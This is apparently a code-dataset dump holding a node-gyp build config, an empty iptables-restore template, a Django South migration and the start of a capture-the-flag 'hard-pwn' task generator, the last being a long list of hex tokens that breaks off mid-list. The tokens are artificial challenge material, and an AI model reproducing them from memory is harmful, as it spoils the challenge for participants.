'ldflags': [
'-Wl,-z,now',
],
'xcode_settings': {
'OTHER_LDFLAGS':[
'-Wl,-bind_at_load'
],
'OTHER_CPLUSPLUSFLAGS': [
'<@(system_includes)'
],
'GCC_ENABLE_CPP_RTTI': 'YES',
'GCC_ENABLE_CPP_EXCEPTIONS': 'YES',
'MACOSX_DEPLOYMENT_TARGET':'10.8',
'CLANG_CXX_LIBRARY': 'libc++',
'CLANG_CXX_LANGUAGE_STANDARD':'c++14',
'GCC_VERSION': 'com.apple.compilers.llvm.clang.1_0'
}
},
{
'target_name': 'bench',
'dependencies': [ 'annotator' ],
'type': 'executable',
'sources': [ './test/bench.cpp' ],
'include_dirs': [ 'src/' ],
'conditions': [
['error_on_warnings == "true"', {
'cflags_cc' : [ '-Werror' ],
'xcode_settings': {
'OTHER_CPLUSPLUSFLAGS': [ '-Werror' ]
}
}]
],
"libraries": [
'<(module_root_dir)/mason_packages/.link/lib/libbz2.a',
'<(module_root_dir)/mason_packages/.link/lib/libexpat.a',
'<(module_root_dir)/mason_packages/.link/lib/libboost_iostreams.a',
# we link to zlib here to fix this error: ../src/extractor.cpp:(.text._ZN6osmium2io16GzipDecompressor4readEv[_ZN6osmium2io16GzipDecompressor4readEv]+0x46): undefined reference to `gzoffset64'
# because osmium needs a custom zlib that is different that what is statically linked inside node and available on default ubuntu (which don't have gzoffset64`
'<(module_root_dir)/mason_packages/.link/lib/libz.a'
],
'cflags': [
'<@(system_includes)'
],
'defines': [
'BOOST_MATH_DISABLE_FLOAT128=1'
],
'ldflags': [
'-Wl,-z,now',
],
'xcode_settings': {
'OTHER_LDFLAGS':[
'-Wl,-bind_at_load'
],
'OTHER_CPLUSPLUSFLAGS': [
'<@(system_includes)'
],
'GCC_ENABLE_CPP_RTTI': 'YES',
'GCC_ENABLE_CPP_EXCEPTIONS': 'YES',
'MACOSX_DEPLOYMENT_TARGET':'10.8',
'CLANG_CXX_LIBRARY': 'libc++',
'CLANG_CXX_LANGUAGE_STANDARD':'c++14',
'GCC_VERSION': 'com.apple.compilers.llvm.clang.1_0'
}
},
{
'target_name': 'basic-tests',
'dependencies': [ 'annotator' ],
'type': 'executable',
'sources': [
'./test/basic-tests.cpp',
'./test/basic/annotator.cpp',
'./test/basic/database.cpp',
'./test/basic/extractor.cpp',
'./test/basic/rtree.cpp'
],
'include_dirs' : [
'src/'
],
'conditions': [
['error_on_warnings == "true"', {
'cflags_cc' : [ '-Werror' ],
'xcode_settings': {
'OTHER_CPLUSPLUSFLAGS': [ '-Werror' ]
}
}]
],
"libraries": [
'<(module_root_dir)/mason_packages/.link/lib/libbz2.a',
'<(module_root_dir)/mason_packages/.link/lib/libexpat.a',
'<(module_root_dir)/mason_packages/.link/lib/libboost_iostreams.a',
'<(module_root_dir)/mason_packages/.link/lib/libboost_unit_test_framework.a',
# we link to zlib here to fix this error: ../src/extractor.cpp:(.text._ZN6osmium2io16GzipDecompressor4readEv[_ZN6osmium2io16GzipDecompressor4readEv]+0x46): undefined reference to `gzoffset64'
# because osmium needs a custom zlib that is different that what is statically linked inside node and available on default ubuntu (which don't have gzoffset64`
'<(module_root_dir)/mason_packages/.link/lib/libz.a'
],
'cflags': [
'<@(system_includes)'
],
'defines': [
'BOOST_MATH_DISABLE_FLOAT128=1'
],
'ldflags': [
'-Wl,-z,now',
],
'xcode_settings': {
'OTHER_LDFLAGS':[
'-Wl,-bind_at_load'
],
'OTHER_CPLUSPLUSFLAGS': [
'<@(system_includes)'
],
'GCC_ENABLE_CPP_RTTI': 'YES',
'GCC_ENABLE_CPP_EXCEPTIONS': 'YES',
'MACOSX_DEPLOYMENT_TARGET':'10.8',
'CLANG_CXX_LIBRARY': 'libc++',
'CLANG_CXX_LANGUAGE_STANDARD':'c++14',
'GCC_VERSION': 'com.apple.compilers.llvm.clang.1_0'
}
},
{
'target_name': 'congestion-tests',
'dependencies': [ 'annotator' ],
'type': 'executable',
'sources': [
'./test/congestion-tests.cpp',
'./test/congestion/congestion.cpp'
],
'include_dirs' : [
'src/'
],
'conditions': [
['error_on_warnings == "true"', {
'cflags_cc' : [ '-Werror' ],
'xcode_settings': {
'OTHER_CPLUSPLUSFLAGS': [ '-Werror' ]
}
}]
],
"libraries": [
'<(module_root_dir)/mason_packages/.link/lib/libbz2.a',
'<(module_root_dir)/mason_packages/.link/lib/libexpat.a',
'<(module_root_dir)/mason_packages/.link/lib/libboost_iostreams.a',
'<(module_root_dir)/mason_packages/.link/lib/libboost_unit_test_framework.a',
# we link to zlib here to fix this error: ../src/extractor.cpp:(.text._ZN6osmium2io16GzipDecompressor4readEv[_ZN6osmium2io16GzipDecompressor4readEv]+0x46): undefined reference to `gzoffset64'
# because osmium needs a custom zlib that is different that what is statically linked inside node and available on default ubuntu (which don't have gzoffset64`
'<(module_root_dir)/mason_packages/.link/lib/libz.a'
],
'cflags': [
'<@(system_includes)'
],
'defines': [
'BOOST_MATH_DISABLE_FLOAT128=1'
],
'ldflags': [
'-Wl,-z,now',
],
'xcode_settings': {
'OTHER_LDFLAGS':[
'-Wl,-bind_at_load'
],
'OTHER_CPLUSPLUSFLAGS': [
'<@(system_includes)'
],
'GCC_ENABLE_CPP_RTTI': 'YES',
'GCC_ENABLE_CPP_EXCEPTIONS': 'YES',
'MACOSX_DEPLOYMENT_TARGET':'10.8',
'CLANG_CXX_LIBRARY': 'libc++',
'CLANG_CXX_LANGUAGE_STANDARD':'c++14',
'GCC_VERSION': 'com.apple.compilers.llvm.clang.1_0'
}
},
{
'target_name': 'way-speed-tests',
'dependencies': [ 'annotator' ],
'type': 'executable',
'sources': [
'./test/way-speed-tests.cpp',
'./test/wayspeeds/wayspeeds.cpp'
],
'include_dirs' : [
'src/'
],
'conditions': [
['error_on_warnings == "true"', {
'cflags_cc' : [ '-Werror' ],
'xcode_settings': {
'OTHER_CPLUSPLUSFLAGS': [ '-Werror' ]
}
}]
],
"libraries": [
'<(module_root_dir)/mason_packages/.link/lib/libbz2.a',
'<(module_root_dir)/mason_packages/.link/lib/libexpat.a',
'<(module_root_dir)/mason_packages/.link/lib/libboost_iostreams.a',
'<(module_root_dir)/mason_packages/.link/lib/libboost_unit_test_framework.a',
# we link to zlib here to fix this error: ../src/extractor.cpp:(.text._ZN6osmium2io16GzipDecompressor4readEv[_ZN6osmium2io16GzipDecompressor4readEv]+0x46): undefined reference to `gzoffset64'
# because osmium needs a custom zlib that is different that what is statically linked inside node and available on default ubuntu (which don't have gzoffset64`
'<(module_root_dir)/mason_packages/.link/lib/libz.a'
],
'cflags': [
'<@(system_includes)'
],
'defines': [
'BOOST_MATH_DISABLE_FLOAT128=1'
],
'ldflags': [
'-Wl,-z,now',
],
'xcode_settings': {
'OTHER_LDFLAGS':[
'-Wl,-bind_at_load'
],
'OTHER_CPLUSPLUSFLAGS': [
'<@(system_includes)'
],
'GCC_ENABLE_CPP_RTTI': 'YES',
'GCC_ENABLE_CPP_EXCEPTIONS': 'YES',
'MACOSX_DEPLOYMENT_TARGET':'10.8',
'CLANG_CXX_LIBRARY': 'libc++',
'CLANG_CXX_LANGUAGE_STANDARD':'c++14',
'GCC_VERSION': 'com.apple.compilers.llvm.clang.1_0'
}
}
]
}
| 34.632588 | 199 | 0.561808 | 1,086 | 10,840 | 5.325046 | 0.143646 | 0.04323 | 0.056199 | 0.074702 | 0.854574 | 0.854574 | 0.841432 | 0.814975 | 0.814975 | 0.805983 | 0 | 0.020238 | 0.279797 | 10,840 | 312 | 200 | 34.74359 | 0.720507 | 0.170203 | 0 | 0.745819 | 0 | 0 | 0.566307 | 0.290836 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
97147ee125e592bab69ddfbaff6a263b4e041f78 | 401 | py | Python | lib/python/treadmill/templates/iptables_empty_restore.py | vrautela/treadmill | 05e47fa8acdf8bad7af78e737efb26ea6488de82 | [
"Apache-2.0"
] | 133 | 2016-09-15T13:36:12.000Z | 2021-01-18T06:29:13.000Z | lib/python/treadmill/templates/iptables_empty_restore.py | vrautela/treadmill | 05e47fa8acdf8bad7af78e737efb26ea6488de82 | [
"Apache-2.0"
] | 108 | 2016-12-28T23:41:27.000Z | 2020-03-05T21:20:37.000Z | lib/python/treadmill/templates/iptables_empty_restore.py | evreng/treadmill | 05e47fa8acdf8bad7af78e737efb26ea6488de82 | [
"Apache-2.0"
] | 69 | 2016-09-23T20:38:58.000Z | 2020-11-11T02:31:21.000Z | """IPTables empty restore template."""
T = """
*raw
:OUTPUT ACCEPT [0:0]
:PREROUTING ACCEPT [0:0]
COMMIT
*nat
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
:PREROUTING ACCEPT [0:0]
COMMIT
*filter
:FORWARD ACCEPT [0:0]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
COMMIT
*mangle
:FORWARD ACCEPT [0:0]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
:PREROUTING ACCEPT [0:0]
COMMIT
"""
| 15.423077 | 38 | 0.685786 | 65 | 401 | 4.230769 | 0.261538 | 0.330909 | 0.378182 | 0.203636 | 0.785455 | 0.785455 | 0.785455 | 0.785455 | 0.669091 | 0.669091 | 0 | 0.075362 | 0.139651 | 401 | 25 | 39 | 16.04 | 0.721739 | 0.079801 | 0 | 0.73913 | 0 | 0 | 0.964187 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
976e69d9ce00aaf5aba71515e933b6af5284524c | 8,244 | py | Python | servicerating/migrations/0001_initial.py | praekeltfoundation/ndoh-control | 56385edfcea58385efe4f7a0e203c0076e7bac9c | [
"BSD-3-Clause"
] | null | null | null | servicerating/migrations/0001_initial.py | praekeltfoundation/ndoh-control | 56385edfcea58385efe4f7a0e203c0076e7bac9c | [
"BSD-3-Clause"
] | 101 | 2015-01-15T14:01:29.000Z | 2016-10-03T15:21:53.000Z | servicerating/migrations/0001_initial.py | praekeltfoundation/ndoh-control | 56385edfcea58385efe4f7a0e203c0076e7bac9c | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'UserAccount'
db.create_table(u'servicerating_useraccount', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('key', self.gf('django.db.models.fields.CharField')(max_length=43)),
('name', self.gf('django.db.models.fields.CharField')(max_length=200)),
('notes', self.gf('django.db.models.fields.TextField')(null=True, blank=True)),
('created_at', self.gf('servicerating.models.AutoNewDateTimeField')(blank=True)),
('updated_at', self.gf('servicerating.models.AutoDateTimeField')(blank=True)),
))
db.send_create_signal(u'servicerating', ['UserAccount'])
# Adding model 'Conversation'
db.create_table(u'servicerating_conversation', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('user_account', self.gf('django.db.models.fields.related.ForeignKey')(related_name='conversations', to=orm['servicerating.UserAccount'])),
('key', self.gf('django.db.models.fields.CharField')(max_length=43)),
('name', self.gf('django.db.models.fields.CharField')(max_length=200)),
('notes', self.gf('django.db.models.fields.TextField')(null=True, blank=True)),
('created_at', self.gf('servicerating.models.AutoNewDateTimeField')(blank=True)),
('updated_at', self.gf('servicerating.models.AutoDateTimeField')(blank=True)),
))
db.send_create_signal(u'servicerating', ['Conversation'])
# Adding model 'Contact'
db.create_table(u'servicerating_contact', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('conversation', self.gf('django.db.models.fields.related.ForeignKey')(related_name='contacts', to=orm['servicerating.Conversation'])),
('key', self.gf('django.db.models.fields.CharField')(max_length=43)),
('value', self.gf('django.db.models.fields.TextField')(null=True, blank=True)),
('msisdn', self.gf('django.db.models.fields.CharField')(max_length=100)),
('created_at', self.gf('servicerating.models.AutoNewDateTimeField')(blank=True)),
('updated_at', self.gf('servicerating.models.AutoDateTimeField')(blank=True)),
))
db.send_create_signal(u'servicerating', ['Contact'])
# Adding model 'Response'
db.create_table(u'servicerating_response', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('contact', self.gf('django.db.models.fields.related.ForeignKey')(related_name='contact_responses', to=orm['servicerating.Contact'])),
('key', self.gf('django.db.models.fields.CharField')(max_length=200)),
('value', self.gf('django.db.models.fields.TextField')(blank=True)),
('created_at', self.gf('servicerating.models.AutoNewDateTimeField')(blank=True)),
('updated_at', self.gf('servicerating.models.AutoDateTimeField')(blank=True)),
))
db.send_create_signal(u'servicerating', ['Response'])
# Adding model 'Extra'
db.create_table(u'servicerating_extra', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('contact', self.gf('django.db.models.fields.related.ForeignKey')(related_name='extras', to=orm['servicerating.Contact'])),
('key', self.gf('django.db.models.fields.CharField')(max_length=200)),
('value', self.gf('django.db.models.fields.TextField')(blank=True)),
('created_at', self.gf('servicerating.models.AutoNewDateTimeField')(blank=True)),
('updated_at', self.gf('servicerating.models.AutoDateTimeField')(blank=True)),
))
db.send_create_signal(u'servicerating', ['Extra'])
def backwards(self, orm):
# Deleting model 'UserAccount'
db.delete_table(u'servicerating_useraccount')
# Deleting model 'Conversation'
db.delete_table(u'servicerating_conversation')
# Deleting model 'Contact'
db.delete_table(u'servicerating_contact')
# Deleting model 'Response'
db.delete_table(u'servicerating_response')
# Deleting model 'Extra'
db.delete_table(u'servicerating_extra')
models = {
u'servicerating.contact': {
'Meta': {'object_name': 'Contact'},
'conversation': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'contacts'", 'to': u"orm['servicerating.Conversation']"}),
'created_at': ('servicerating.models.AutoNewDateTimeField', [], {'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'key': ('django.db.models.fields.CharField', [], {'max_length': '43'}),
'msisdn': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'updated_at': ('servicerating.models.AutoDateTimeField', [], {'blank': 'True'}),
'value': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'})
},
u'servicerating.conversation': {
'Meta': {'object_name': 'Conversation'},
'created_at': ('servicerating.models.AutoNewDateTimeField', [], {'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'key': ('django.db.models.fields.CharField', [], {'max_length': '43'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'notes': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'updated_at': ('servicerating.models.AutoDateTimeField', [], {'blank': 'True'}),
'user_account': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'conversations'", 'to': u"orm['servicerating.UserAccount']"})
},
u'servicerating.extra': {
'Meta': {'object_name': 'Extra'},
'contact': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'extras'", 'to': u"orm['servicerating.Contact']"}),
'created_at': ('servicerating.models.AutoNewDateTimeField', [], {'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'key': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'updated_at': ('servicerating.models.AutoDateTimeField', [], {'blank': 'True'}),
'value': ('django.db.models.fields.TextField', [], {'blank': 'True'})
},
u'servicerating.response': {
'Meta': {'object_name': 'Response'},
'contact': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'contact_responses'", 'to': u"orm['servicerating.Contact']"}),
'created_at': ('servicerating.models.AutoNewDateTimeField', [], {'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'key': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'updated_at': ('servicerating.models.AutoDateTimeField', [], {'blank': 'True'}),
'value': ('django.db.models.fields.TextField', [], {'blank': 'True'})
},
u'servicerating.useraccount': {
'Meta': {'object_name': 'UserAccount'},
'created_at': ('servicerating.models.AutoNewDateTimeField', [], {'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'key': ('django.db.models.fields.CharField', [], {'max_length': '43'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}),
'notes': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'updated_at': ('servicerating.models.AutoDateTimeField', [], {'blank': 'True'})
}
}
complete_apps = ['servicerating'] | 60.617647 | 158 | 0.609534 | 861 | 8,244 | 5.7259 | 0.085947 | 0.073022 | 0.124949 | 0.178499 | 0.816633 | 0.761866 | 0.761866 | 0.761866 | 0.751927 | 0.736714 | 0 | 0.006589 | 0.189956 | 8,244 | 136 | 159 | 60.617647 | 0.731656 | 0.0336 | 0 | 0.513761 | 0 | 0 | 0.502388 | 0.353193 | 0 | 0 | 0 | 0 | 0 | 1 | 0.018349 | false | 0 | 0.036697 | 0 | 0.082569 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
97b45ddb12984ba99ce78676e4283b3337a42af5 | 23,611 | py | Python | tasks-deploy/hard-pwn/generate.py | chankruze/qctf-school-2018 | 1e732cf264ee0a94bc2fc1fd8cf3a20660d57605 | [
"MIT"
] | null | null | null | tasks-deploy/hard-pwn/generate.py | chankruze/qctf-school-2018 | 1e732cf264ee0a94bc2fc1fd8cf3a20660d57605 | [
"MIT"
] | null | null | null | tasks-deploy/hard-pwn/generate.py | chankruze/qctf-school-2018 | 1e732cf264ee0a94bc2fc1fd8cf3a20660d57605 | [
"MIT"
] | null | null | null | tokens = ["48cdeb21eb1949113707028710c65174d60695cf", "2ce8ab9d05a525034106359400b94dd46332ee03", "6ee379013389e8451e4f872c1bfa5d28843d3f97", "66f90b9e02d3cdbe49122d2b78544717636a5bf9", "cb847dfe88a18154563a366f738696ddb45fbd20", "6b666eec15f091f29f8f15ec2a777c67dd383f77", "532a1b932ff9aee95915d08e4aca6db1a379dfd7", "f2dd7ebe7566578369c52536175873b41fe7de00", "7b0760992ff07f33f586b8c348e1c483c221aaee", "296955adf382e8d2dbf6ecda87d3b5d3f869d6e8", "43b1d2e36ec27ce909e7e7abcee18d1b1663190d", "60154859d8f036f21dde944e148afbf8b993a822", "38c51357b0d8dced08f1971d8660085e6bbec246", "e3c0462fe51676dcf87f5284e39eddcc570d6237", "be0f3ba4e4db3a15531e8e7f194384a654d58925", "154fdd5d0f9e99dadf02414fb91ba182c5a76504", "158b946a8fe18ca4ec3d673f1707bd31bbf0bb52", "197d7944059c616ec305359c1e2bb705d678ad32", "355f4e558546d6b132a80556e833031c9ee8df07", "cb9d0ae4f6b897a9e36523cc6a089d9c317e4dc5", "602179566ecfc6019d0b985ee72068d21a247b42", "912e19dfa6e9a05f463686aa7b4d6e8b105ca95d", "a03264ebcdf68dd60a590ffe6c0a735fb270bd4b", "d5b1984e8672769bc3e09875e9ff6caf01f203bc", "4f0b38924b6e00d00771b69f3eba11bee4f7a520", "3d70e64967ccbfd2c643a16a157b68b24a8a52d6", "a5856225ebd8d75f2122d7d037ba4445d2055bd4", "06ff78f4b84e797b8360a7a1292625b8b0e226bb", "1c8c6d1944245a73b3971d1e7415ff55296f42eb", "487227cabe72e8cc09fc042eab8fe4649aaf617b", "92479dc8e328590d17df1b0ffb09558bb7e6eed7", "2e372310f60747ee087efc596ebf1d78510597d1", "4a1040494eb295a9332a9c7dd7323c5e9a71fe18", "7dae39dd3cfa24948e9589b2394fe6971e373a9a", "1e2996f7251ac073a42b1653112b0e319c80bdc3", "a1fdf1770b18efcea52a985d33fec11bbe038a70", "76840cecece0b8265dab792c75911012dc8ffcce", "3000b6caf49ea6d6df0f292414d2efdaaff9333c", "c3b17bc894042c6d5baf9d4fe79364ef561c8d1a", "8e464791202867ac9f3b1f34e3a82cc369f25190", "4d1c044552c8c7abcb9e09fcc46a0702b0166b54", "24f43e42644e21de4eb6e1fcbb337e2ce193ca2c", "a202d9ec571277017521e38abc978cb06f8244bd", "f14c9e20c4afa8d47482acab7f4a98e56271b5a8", "55dce475cb4cd1f19551e08504f5bcc19b56d65e", "ef16705888139fb505af2406219315313d1f0dc4", "1794acfd378daa27b3a62dbbc530f8104163c308", "1344d3b4db6581728eb2bb58afaf420bdc6cee7b", "3c0ae71de699d155dd27c7ceae056c5491216af4", "cd726dfba0d5d43ef4fd0b31ea2add95336688e4", "819fdd646e9b21fae2b6644697b25d3e092c13c0", "2a5a2c8073afb54ced4b3b9be25e37dabe5795ea", "39060ae10ff14cf5ee5b003bc660751d76fb04ab", "21a6e7c69dbdbcf033fb85d334e39089ef45b3f2", "1ba421c9a346afee6a7f889a983ca832972be4a4", "1f4cbc730341ab2ff67a042ceb7300b8f49119ce", "fc02acc987b0c2a920f31a7ef229269c29f8cb15", "f53ede5af6924e46ef7f997a743a3bcb657d32a5", "bb6e6e363507d70cbd1ecc0bf1b2e63735c289fe", "a995fe63b3eb0e52d7cc6dc72855cc6742fdbe8f", "0366e4ff162d4edaf32b5270f0863f8f56b73422", "13725550e00362031a8763a36234cb8380648333", "9726a111820183ffb52bff7a5f5ffe87c670a082", "876e73759ed43f8d78843d3647c298bb576a552f", "9c9086769eec9b79e6974bf12157c14e07a6fe90", "6c3729454f0591acdd9bc78e85b1b3d13c9033da", "bce09cbc6c5e725ebfc3a733d80cb11465ed5fda", "446dfc2447e50907ea184be86fd08290558ce1fa", "61d3dde8846fae1aa9084f2252c053de9ab5d33e", "04c19a692644547cac0df4726fffaeecb03c93f8", "cd11e52ab9c2e94734c156338675064f5e114cee", "453236c831a486d6310eaccd443448347b82a74b", "7922fe9c3090078cb01d0cf0fbe55f51b9a642a4", "824a5c2641529c56e85a9d7f309ff1aff62c26ea", "fc51deab589ed614ea8eaa31ece640b235a06db1", "a0df96b7cc5dd09dfb338101aa98aa056a5b89a9", "c138c661b39ba79510ca423e8f98830bdf15cefb", "e6a2ee116c6daea9164b8cf98fc41150d5ae2ba7", "f0900332dd9f8fb807a23067b378201639478762", "d041bc3310ef442244422dafea6a73455ccb3e1d", "243572f17c8330cbe1073e5815b93aae53706f3e", "239399ac7acf25fb07a7e8146edb957125ec9c1f", "c13a5bdea1e617df9f2260b7b66a4403b85e46c1", "e9beb231675d1180ca59f35e530ff0926e316e20", "47c1f2d0148ab73cc1afb7fc7b8a551c0ae07c50", "4dd69614afb0ff77b7e622dfa4ae450779ee11d9", "5afe8018f2ffe6cb651bb5bb8c510e002192ac3c", "6e48df60c6b81c2f853459b39ac7c98fb5eaf9b8", "cd62b40e73760458b4432c652353a12566335789", "5630d06f8f9ca56138e8b9c3cb5c4af036fc73a0", "48c7bddf6aa27285c733cd60544ef06bcd5d4e00", "a9b5379d186a002dfafecba998770dc7ba283921", "9590c010693a49083836e9ededf113ee2b901c59", "d72cf208574dd46738ca8c6418d18ad77a7f1fc9", "a8f5c4e7e05af629925877fe7152ea043f3ddbf5", "67e895b3a6724a3af5cd567d8b3e9525307d1a94", "626716beab43cc6f5ad5949b2f4c8e026b516705", "c2f9803582f2d51ebd8843be71489bc07aade752", "f8b2bd09204cdeaa32780d35b9ca58fec45d2f9e", "89f7afe4f2dce123d9dba87d72ad3ece93e1464d", "43cc27930d0726c3d6e0f143fcf2783502a22554", "f380a554945bf5dad2fd3074b9dae3d04e018176", "a31d2c4bed3a2a54d2fc871d321f662e30c4513c", "7ea91fb59d82752b74a0927ae0e5a0b0b0827966", "9de88e16e7424f34d96fc36e420f5050ddd4f3b0", "9712a2fadeda91c51a4ed5eb4084ffc47c91f430", "67481f2cb8285e253bd95f318145ac6059ad11ad", "11518a156f63b2decf8e928279e2b117e2380d20", "80543923a0755567ba293dfa723d125f04fc880e", "d3bf92df692381b9819fec7f7d67fbc16fdb0798", "3554a2959cb6578d69de7797b484836f643dc331", "58459259567936685745a4fe736757caa959cbb7", "4e0002bda15c7e9f4b5dfd34b4c325c6cf00844f", "648db499631b82cecaee69c893295610cd1cec86", "6fa5013b01df53ee94bd44588c70119d94f7fc2f", "35e4387884b19c3708d115bbfe207335c936acc7", "fac3edf1e024f8bdda928cb0eb1a4e13c4a37f6c", "cfce1df3ef56843511b99bd671f46601a8a3b0f1", "211899a161c8105d7414f203c4c6a981e0e5d023", "b7bdbfca4d7768e325f16116c18b43594c8622cd", "22a7dca5a29f22f534429a15c091b7ad2169515c", "23536ec14f6e7e190ad934d2a2d0dc963123ebea", "80f06464b15da31fad8c4629ad1bb4483f069371", "dc03924dad5ed32907be669b815039e3cc3937a1", "ef6a0546a2ee4119e043d11a46cba5b541711ff3", "f706517e1247b416e001e4e0968f77f46c31521c", "ddd1ad4dcc6c753ba24b263fb737e0d4a26e4788", "70ca1dc53ad5394152e8bab931ecb707c8fe4acb", "04047e074229d70677d53e8c2014652119f352a8", "7fe2841c34facf7cc7b8f3b32c92b5b4ddf90d4e", "15579d9c06d23ccf6cf60b7fe44e84c1705c7a6a", "67042b470a777a272c1536523396b8c92876725f", "fb2e87573fa50b90782a01e97116c2a2ce9ad4bc", "7ccaae7f574d5dcc9ae39c0dd73e019d47fc7337", "78165e1494563dffabfa5c97333ee428212f78f7", "dda2b2ad98652a002ffcb6205091900931b04dce", "2f176178830efc50f0ea44f069ff9923fe251bce", "3b3e72abe065cbd286e7eb61d55b72c434b35af6", "c4d68f41711de21ad6483909163359b700e878b4", "695c6b82a9a5c3c3c012ff520dd3c6a60653fe50", "274279e0e0511d0ab799b4f09ab0095da0300669", "ddb24b9ec12f93b6df2671425912fe6927af0255", "2ef73a2d70c831da9f75be51960a4ff136763d97", "4857bde5dd3e99d0757f65f5dbdaa9bcd3fae0ae", "760fbec2cbb6baf7820291bbefca9037d7c3e350", "3752047428aa6ba0b141edb6a1b290aa78313888", "c5f78f899a9bdd1b34e4772c9f949455d6a1b875", "6f301b4db22b75da32c366632b7da2c612e828cd", "c41a4c00baf5be501949763ab3fda9f489eff263", "4b757841a0bc7bae146aedf38463077f5a5a2c90", "60132e84fb1bb97381f3a54860c48a50e1802f19", "7f1258629ae429bda0abea878d107d2099782fe8", "cfdf6c091ecba7475179482ebe9e563d27c6ccfb", "2886764ba7341116f1584eea3a500c3008fcad6c", "731f015548ea93e6a7ea8910d528e2b532fbdfb1", "4b37b0c8b43768d79567030636366b05867f5d81", "ae6c676363686209b7a005bb697be40669d87470", "05a9d1256701c6ad7ffc3515b9bf0ab6bf6c7117", "7042c3f7122c6d9b9744a832cccb2168708f0a95", "811d9e1c0e8ce8b550a1ee98df26c83e47bd7062", "80cd3009c602738e979ae18c4fae7f543da4c2b9", "d24b40f348b1d39f986495e4cacaaf9257646dc1", "6120696061e3ec8aed70fe6ab9fdf014bbab48b3", "b4a879026240ff9885d18e4ab9111969b2254f17", "a64085242673de48632d35ae6610ddcdb09006b5", "f83a27ef13285fdaa9ce384d0934c7f53e8ee44d", "c42d58633d73a90b09f2da5ab4e45f56cd0b4547", "c0705c5b82b22e2bc6d09a1a6989bc91b80b179d", "5d221d3e5ecb4eebd86d51e5f69722e95d95bac4", "3cd20f628192f9c1c055d8c41822463f81407b42", "aafe32612a97d4baab10feecb96fc909c7f516ff", "d1f4c5f72f67f8bb87d819830f35d629d492feb2", "ed15923b00a3017cc73bad645d2a2a6901af3963", "7935bf3297a0584be10a4e9332a29eb55d816a4f", "fe7138a645bfe4b47d831c701e3689bdcbe17142", "d917474fc999c27a5b03c67dd1f22a3c22cde154", "a2a25a26f82aa5e7c72dabc28fd4b826e004cef1", "268fd884c6b0c892c21d8bd901a44f0576418884", "53ea9f254cd33b75e73ee8c83098079b29e64084", "156e06f15fc1e9b985a7194a28c28d0882e5a3d6", "e51b976d5a5cd1c7f1fe4f60612c38bdf0259f54", "fbf8447c5c7638a903976c3c79a99b756101ede8", "9a49964ca02df29c0c57861c29d5615c3bdf601c", "5ef46aecf71f7a53bb76d51b26544cf9324f3e1c", "5d2927cbf6f342bb0b9b4b348116de9d33aef558", "d5fe5c47a97b9b7fab64b57d13e47136daefd415", "c6567c643c262d77e547f0db09deeff095b1d73c", "7e2df0ce96d7cc547150c018ace37e1fb9e0d19d", "fb9d2ec12e5c7e0f3bf7b4aa8b821850a685216b", "aace2fc88a0bf16c451f4d558ae33a19dffa00a7", "cdb1db6b3f0fccd235d23c9ac41c02e44f605cfb", "14e97a97f52e9946d3805974775a7af3fe0aa424", "33a42628bf73b04030b9205f512cc0e23f8341d0", "81db75e5ccddca3748216373b80e58adcee0f361", "8af834ed57ccdb0dda008527b24665f7e984a8f3", "32d8bb4949257e28df8ff15ae0d1d9b0aa99e1e6", "0039e68ccd18313b6df950d73e996aa5b6547ff9", "63d83799d01d460dd42bc2e842e3da7c0b006b7c", "5ad6b2e86c5badd88d4d013610132732cd9aea9d", "10e71b216988cfef637140ac0a1ecb51913e0143", "5bf9d5c6e120b27cb67911d783a2df293613c221", 